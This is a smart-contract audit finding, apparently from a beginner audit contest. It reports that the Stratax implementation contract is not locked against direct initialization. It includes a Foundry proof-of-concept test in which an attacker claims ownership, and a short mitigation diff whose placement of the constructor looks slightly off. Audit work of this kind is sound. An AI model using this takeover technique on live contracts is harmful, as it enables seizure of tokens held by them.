Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: low
Likelihood: medium

L02. Implementation Contract Not Locked

Author Revealed upon completion

Root + Impact

Description

  • OpenZeppelin's upgradeable pattern requires that the implementation contract (the logic address the beacon points to) be permanently locked against direct initialization. This is done by calling _disableInitializers() in a constructor.

  • Stratax has no constructor. Any caller can invoke initialize(...) directly on the implementation address (not through a proxy), claiming the owner role on the bare implementation contract. While proxy storage is unaffected, the unlocked implementation is an active attack surface.

// src/Stratax.sol
// @> No constructor, no _disableInitializers() call
contract Stratax is Initializable {
function initialize(
address _aavePool,
address _aaveDataProvider,
address _oneInchRouter,
address _usdc,
address _strataxOracle
) external initializer {
// ...
// @> Attacker becomes owner of the raw implementation
owner = msg.sender;
flashLoanFeeBps = 9;
}
}

Risk

Likelihood:

  • The implementation address is publicly visible on-chain (via beacon.implementation()) and the initialize function is publicly callable with no preconditions

  • Any bot watching for newly deployed upgradeable contracts without a disabled initializer will call it within seconds of deployment

Impact:

  • The attacker owns the implementation contract and can call recoverTokens on any tokens accidentally sent directly to the implementation address

  • The unlocked implementation creates confusion for off-chain tooling and security monitoring systems that inspect the implementation directly, masking the real ownership state

Proof of Concept

After beacon and implementation deployment, before any defensive measure is taken, an attacker calls initialize directly on the implementation contract address.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {Stratax} from "../../src/Stratax.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {ConstantsEtMainnet} from "../Constants.t.sol";
contract ImplementationNotLockedTest is Test, ConstantsEtMainnet {
function test_attacker_initializes_implementation() public {
// Deployer deploys the implementation
Stratax implementation = new Stratax();
// Attacker reads the implementation address (publicly visible via beacon.implementation())
address attacker = address(0xbad);
vm.prank(attacker);
// @> Attacker calls initialize directly on implementation, not on any proxy
implementation.initialize(
AAVE_POOL,
AAVE_PROTOCOL_DATA_PROVIDER,
address(0xdead), // fake router
address(0),
address(0)
);
// Attacker is now owner of the bare implementation
assertEq(implementation.owner(), attacker);
// Attacker can call owner-only functions on the implementation
// e.g. recoverTokens for any tokens sent to the implementation address
vm.prank(attacker);
// This would succeed for any token balance on the implementation
// implementation.recoverTokens(someToken, someAmount);
}
}

The fix is a single line in a constructor. The absence of this line is detectable before deployment and exploitable immediately after.

Recommended Mitigation

Add a constructor to Stratax that permanently disables initialization on the implementation:

// src/Stratax.sol
- contract Stratax is Initializable {
+ /// @custom:oz-upgrades-unsafe-allow constructor
+ constructor() {
+ _disableInitializers();
+ }
contract Stratax is Initializable {

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!